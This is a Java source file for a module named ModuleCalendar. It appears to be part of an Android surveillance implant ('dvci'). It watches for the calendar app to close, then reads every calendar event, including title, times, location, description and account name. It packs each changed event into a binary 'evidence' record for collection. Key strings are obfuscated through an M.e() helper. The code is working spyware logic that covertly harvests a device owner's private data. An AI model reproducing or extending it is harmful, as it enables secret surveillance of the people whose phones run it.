package com.android.dvci.module;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Date;
import java.util.HashMap;
import java.util.Hashtable;
import android.content.ContentResolver;
import android.content.Context;
import android.database.Cursor;
import android.net.Uri;
import com.android.dvci.ProcessInfo;
import com.android.dvci.ProcessStatus;
import com.android.dvci.Status;
import com.android.dvci.auto.Cfg;
import com.android.dvci.conf.ConfModule;
import com.android.dvci.crypto.Digest;
import com.android.dvci.evidence.EvidenceBuilder;
import com.android.dvci.evidence.EvidenceType;
import com.android.dvci.evidence.Markup;
import com.android.dvci.interfaces.Observer;
import com.android.dvci.listener.ListenerProcess;
import com.android.dvci.util.ByteArray;
import com.android.dvci.util.Check;
import com.android.dvci.util.DataBuffer;
import com.android.dvci.util.DateTime;
import com.android.dvci.util.WChar;
import com.android.mm.M;
public class ModuleCalendar extends BaseModule implements Observer<ProcessInfo> {
private static final String TAG = "ModuleCalendar"; //$NON-NLS-1$
private static final int FLAG_ALLDAY = 0x00000040;
private static final int POOM_STRING_SUBJECT = 0x01000000;
private static final int POOM_STRING_CATEGORIES = 0x02000000;
private static final int POOM_STRING_BODY = 0x04000000;
private static final int POOM_STRING_RECIPIENTS = 0x08000000;
private static final int POOM_STRING_LOCATION = 0x10000000;
private static final int POOM_OBJECT_RECUR = 0x80000000;
Markup markupCalendar;
HashMap<Long, Long> calendar;
public ModuleCalendar() {
}
@Override
public boolean parse(ConfModule conf) {
return true;
}
/**
* unserialize the contacts crc hashtable
*/
@Override
public void actualStart() {
// every hour, check.
setPeriod(NEVER);
setDelay(200);
ListenerProcess.self().attach(this);
markupCalendar = new Markup(this);
// the markup exists, try to read it
if (markupCalendar.isMarkup()) {
try {
calendar = (HashMap<Long, Long>) markupCalendar.readMarkupSerializable();
} catch (final IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error (begin): cannot read markup");//$NON-NLS-1$
}
}
}
if (calendar == null) {
calendar = new HashMap<Long, Long>();
serializeCalendar();
}
}
@Override
public int notification(ProcessInfo process) {
if (process.processInfo.contains("android.calendar")) {
if (process.status == ProcessStatus.STOP) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification), observing found: " + process.processInfo);
}
actualGo();
}
}
return 0;
}
@Override
public void actualStop() {
ListenerProcess.self().detach(this);
}
/**
* Every once and then read the contactInfo, and Check.every change. If
* //$NON-NLS-1$ something is new the contact is saved.
*/
@Override
public void actualGo() {
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (go): Calendar"); //$NON-NLS-1$
}
if (calendar()) {
serializeCalendar();
}
} catch (Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (go) Error: " + ex); //$NON-NLS-1$
}
}
}
/**
* serialize contacts in the markup
*/
private void serializeCalendar() {
if (Cfg.DEBUG) {
Check.ensures(calendar != null, "null calendar"); //$NON-NLS-1$
}
try {
final boolean ret = markupCalendar.writeMarkupSerializable(calendar);
if (Cfg.DEBUG) {
Check.ensures(ret, "cannot serialize"); //$NON-NLS-1$
}
} catch (final IOException e) {
if (Cfg.EXCEPTION) {
Check.log(e);
}
if (Cfg.DEBUG) {
Check.log(TAG + " Error (serializeContacts): " + e);//$NON-NLS-1$
}
}
}
private boolean calendar() {
// http://jimblackler.net/blog/?p=151
// http://forum.xda-developers.com/showthread.php?t=688095
// /data/data/com.android.providers.calendar/databases/calendar.db
// backup/data/calendar.db
// v4:
// http://stackoverflow.com/questions/10069319/how-to-get-device-calendar-event-list-in-android-device
Hashtable<String, String> calendars;
String contentProvider;
// d_19=content://com.android.calendar
contentProvider = M.e("content://com.android.calendar"); //$NON-NLS-1$
calendars = selectCalendars(contentProvider);
if (calendars == null || calendars.isEmpty()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (calendar): opening 2.2 style"); //$NON-NLS-1$
}
// d_18=content://calendar
contentProvider = M.e("content://calendar"); //$NON-NLS-1$
calendars = selectCalendars(contentProvider);
} else {
if (Cfg.DEBUG) {
Check.log(TAG + " (calendar): opening 2.1 style"); //$NON-NLS-1$
}
}
if (calendars == null || calendars.isEmpty()) {
if (Cfg.DEBUG) {
Check.log(TAG + " (calendar): not available"); //$NON-NLS-1$
}
return false;
}
boolean needToSerialize = false;
// For each calendar, display all the events from the previous week to
// the end of next week.
for (String id : calendars.keySet()) {
int calendar_id = Integer.parseInt(id);
if (Cfg.DEBUG) {
Check.log(TAG + " (calendar): " + calendar_id); //$NON-NLS-1$
}
Uri.Builder builder = Uri.parse(contentProvider + M.e("/events")).buildUpon(); //$NON-NLS-1$
String textUri = builder.build().toString();
// d_7=_id
// d_8=title
// d_9=dtstart
// d_10=dtend
// d_11=rrule
// d_12=allDay
// d_13=eventLocation
// d_14=description
// d_15=calendar_id
Cursor eventCursor = managedQuery(
builder.build(),
new String[] {
M.e("_id"), M.e("title"), M.e("dtstart"), M.e("dtend"), //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$
M.e("rrule"), M.e("allDay"), M.e("eventLocation"), M.e("description") }, M.e("calendar_id") + "=" + id, null, M.e("_id ASC")); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ //$NON-NLS-6$
while (eventCursor.moveToNext()) {
int index = 0;
final long idEvent = calendar_id << 24 | Long.parseLong(eventCursor.getString(index++));
final String title = eventCursor.getString(index++);
final Date begin = new Date(eventCursor.getLong(index++));
final Date end = new Date(eventCursor.getLong(index++));
final String rrule = eventCursor.getString(index++);
final Boolean allDay = !eventCursor.getString(index++).equals("0"); //$NON-NLS-1$
final String location = eventCursor.getString(index++);
// final String syncAccount = eventCursor.getString(5);
final String description = eventCursor.getString(index++);
String syncAccount = calendars.get(id); //$NON-NLS-1$
if (Cfg.DEBUG) {
Check.log(TAG + " (calendar): Title: " + title + " Begin: " + begin + " End: " + end + " All Day: " //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$
+ allDay + " Location: " + location + " SyncAccount:" + syncAccount + " Description: " //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$
+ description);
}
String desc = "account: " + syncAccount + "\n" + description;
byte[] packet = null;
try {
// calculate the crc of the contact
packet = preparePacket(idEvent, title, desc, location, begin, end, rrule, allDay);
} catch (Exception ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (calendar) Error: " + ex); //$NON-NLS-1$
}
continue;
}
// if(Cfg.DEBUG) Check.log( TAG + " (go): " ;//$NON-NLS-1$
// ByteArray.byteArrayToHex(packet));
final Long crcOld = calendar.get(idEvent);
final Long crcNew = Digest.CRC32(packet);
// if(Cfg.DEBUG) Check.log( TAG + " (go): " + crcOld + " <-> " ;//$NON-NLS-1$
// crcNew);
// if does not match, save and serialize
if (!crcNew.equals(crcOld)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (go): new event. " + idEvent);//$NON-NLS-1$
}
calendar.put(idEvent, crcNew);
saveEvidenceCalendar(idEvent, packet);
needToSerialize = true;
// Thread.yield();
}
}
if (eventCursor != null) {
eventCursor.close();
}
}
return needToSerialize;
}
private Hashtable<String, String> selectCalendars(String contentProvider) {
try {
if (Cfg.DEBUG) {
Check.log(TAG + " (selectCalendars) provider: %s", contentProvider);
}
String[] projection = new String[] {
M.e("_id"), "account_name", "calendar_displayName", "ownerAccount" }; //$NON-NLS-1$
// Uri calendars = Uri.parse("content://calendar/calendars");
Uri calendars = Uri.parse(contentProvider + M.e("/calendars")); //$NON-NLS-1$
Hashtable<String, String> calendarIds = new Hashtable<String, String>();
Cursor managedCursor = managedQuery(calendars, projection, null, null, null); //$NON-NLS-1$
while (managedCursor != null && managedCursor.moveToNext()) {
final String _id = managedCursor.getString(0);
String account_name = managedCursor.getString(1);
String calendar_displayName = managedCursor.getString(2);
String ownerAccount = managedCursor.getString(3);
if (Cfg.DEBUG) {
Check.log(
TAG + " (selectCalendars): Id: %s (%s,%s,%s)", _id, account_name, calendar_displayName, ownerAccount); //$NON-NLS-1$
}
calendarIds.put(_id, account_name);
}
managedCursor.close();
return calendarIds;
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (selectCalendars) ERROR: Cannot use provider: %s", contentProvider);
}
return null;
}
}
private Cursor managedQuery(Uri calendars, String[] projection, String selection, String[] selectionArgs,
String sortOrder) {
Context context = Status.getAppContext();
ContentResolver contentResolver = context.getContentResolver();
final Cursor cursor = contentResolver.query(calendars, projection, selection, selectionArgs, sortOrder);
return cursor;
}
/**
* Save evidence Calendar
*
* @param idEvent
* @param packet
*/
private void saveEvidenceCalendar(long idEvent, byte[] packet) {
// calendar.put(idEvent, Encryption.CRC32(packet));
final EvidenceBuilder log = new EvidenceBuilder(EvidenceType.CALENDAR);
log.write(packet);
log.close();
}
private byte[] preparePacket(long idEvent, String title, String description, String location, Date begin, Date end,
String rrule, Boolean allDay) {
final int version = 0x01000000;
int flags = 0;
final ByteArrayOutputStream payload = new ByteArrayOutputStream();
// header, viene scritto adesso, e corretto alla fine, cosi' si calcola
// la lunghezza del
// payload
try {
payload.write(ByteArray.intToByteArray(0));
payload.write(ByteArray.intToByteArray(version));
payload.write(ByteArray.intToByteArray((int) idEvent));
// preparazione del payload, con la parte fissa e quella dinamica
if (rrule != null) {
// flags |= FLAG_RECUR;
// if (end == null) {
// flags |= FLAG_RECUR_NoEndDate;
// }
}
if (allDay) {
flags |= FLAG_ALLDAY;
}
int sensitivity = 0;
int busy = 2;
int duration = 0;
int meeting = 0;
payload.write(ByteArray.intToByteArray(flags));
payload.write(ByteArray.longToByteArray(DateTime.getFiledate(begin)));
payload.write(ByteArray.longToByteArray(DateTime.getFiledate(end)));
payload.write(ByteArray.intToByteArray(sensitivity));
payload.write(ByteArray.intToByteArray(busy));
payload.write(ByteArray.intToByteArray(duration));
payload.write(ByteArray.intToByteArray(meeting));
// recursive
// blocchi di stringhe
if (rrule != null) {
if (description == null) {
description = M.e("RULE: ") + rrule; //$NON-NLS-1$
} else {
description += " \n" + M.e("RULE: ") + rrule; //$NON-NLS-1$
}
}
appendCalendarString(payload, POOM_STRING_SUBJECT, title);
appendCalendarString(payload, POOM_STRING_BODY, description);
appendCalendarString(payload, POOM_STRING_LOCATION, location);
// appendCalendarString(payload, POOM_STRING_CATEGORIES ,
// "categories");
// appendCalendarString(payload, POOM_OBJECT_RECUR , "recur");
// appendCalendarString(payload, POOM_STRING_RECIPIENTS ,
// "recipients");
// final byte[] payloadBA = payload.toByteArray();
final int size = payload.size();
final byte[] packet = payload.toByteArray();
final DataBuffer databuffer = new DataBuffer(packet);
databuffer.writeInt(size);
return packet;
} catch (IOException ex) {
if (Cfg.EXCEPTION) {
Check.log(ex);
}
if (Cfg.DEBUG) {
Check.log(TAG + " (preparePacket) Error: " + ex); //$NON-NLS-1$
}
}
return null;
}
private void appendCalendarString(ByteArrayOutputStream payload, int type, String message) throws IOException {
if (message != null) {
byte[] data = WChar.getBytes(message);
int len = type | (data.length & 0x00ffffff);
byte[] prefix = ByteArray.intToByteArray(len);
payload.write(prefix);
payload.write(data);
}
}
}